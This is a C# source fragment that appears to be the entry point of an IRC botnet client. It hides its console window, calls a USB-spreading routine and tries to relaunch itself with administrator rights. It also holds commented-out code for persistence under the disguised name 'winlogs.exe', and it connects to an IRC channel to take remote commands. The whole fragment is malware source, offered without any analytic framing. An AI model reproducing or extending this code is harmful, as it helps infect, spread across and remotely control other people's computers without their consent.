static void Main(string[] args) { int win = GetConsoleWindow(); ShowWindow(win, 0); try { fp = Process.GetCurrentProcess().MainModule.FileName; string[] beetweenthing = fp.Split('\\'); filename = beetweenthing[beetweenthing.Length - 1]; UsbInject(); } catch (Exception) { } ProcessStartInfo p = new ProcessStartInfo(); p.UseShellExecute = true; p.Verb = "runas"; try { Process.Start(p); } catch(Exception e) { } // Start on Start Up //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString()); _irc = new IRC("IRCBot"); _irc.Nick = nick; _irc.Connect(server, port); _irc.Logon(nick, nick); _irc.Join(channel); _irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved); while (true) { _irc.ProcessEvents(0); } }